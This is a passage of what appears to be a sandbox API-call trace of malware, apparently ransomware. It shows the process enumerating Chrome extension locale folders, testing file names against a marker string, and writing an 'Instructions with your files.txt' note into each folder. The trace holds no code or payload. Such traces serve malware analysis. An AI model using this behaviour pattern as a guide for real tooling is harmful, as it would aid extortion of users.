[0129.260] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.260] CloseHandle (hObject=0x134) returned 1
[0129.260] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.260] GetProcessHeap () returned 0x810000
[0129.260] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.260] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
[0129.260] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru") returned 142
[0129.260] GetProcessHeap () returned 0x810000
[0129.260] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.260] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\*") returned 144
[0129.260] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.263] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\.") returned 144
[0129.263] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.263] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\..") returned 145
[0129.263] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.263] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json") returned 156
[0129.263] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.263] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.263] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\Instructions with your files.txt") returned 175
[0129.263] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.263] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.264] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.264] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.264] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.264] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.265] CloseHandle (hObject=0x134) returned 1
[0129.265] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.265] GetProcessHeap () returned 0x810000
[0129.265] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.265] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
[0129.265] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk") returned 142
[0129.265] GetProcessHeap () returned 0x810000
[0129.265] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.265] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\*") returned 144
[0129.265] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.265] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\.") returned 144
[0129.265] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.265] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\..") returned 145
[0129.265] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f7ed20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.265] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json") returned 156
[0129.265] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.265] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f7ed20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.265] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\Instructions with your files.txt") returned 175
[0129.265] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.266] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.267] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.267] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.267] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.267] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.267] CloseHandle (hObject=0x134) returned 1
[0129.267] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.267] GetProcessHeap () returned 0x810000
[0129.267] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.267] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
[0129.267] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl") returned 142
[0129.267] GetProcessHeap () returned 0x810000
[0129.267] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.267] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\*") returned 144
[0129.267] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.268] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\.") returned 144
[0129.268] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.268] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\..") returned 145
[0129.268] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fca810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.268] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json") returned 156
[0129.268] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.268] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fca810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.268] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\Instructions with your files.txt") returned 175
[0129.269] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.269] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.270] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.270] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.270] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.270] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.270] CloseHandle (hObject=0x134) returned 1
[0129.270] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.270] GetProcessHeap () returned 0x810000
[0129.270] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.270] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1
[0129.270] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr") returned 142
[0129.270] GetProcessHeap () returned 0x810000
[0129.270] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.270] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\*") returned 144
[0129.270] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.271] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\.") returned 144
[0129.271] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.271] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\..") returned 145
[0129.271] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fca810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
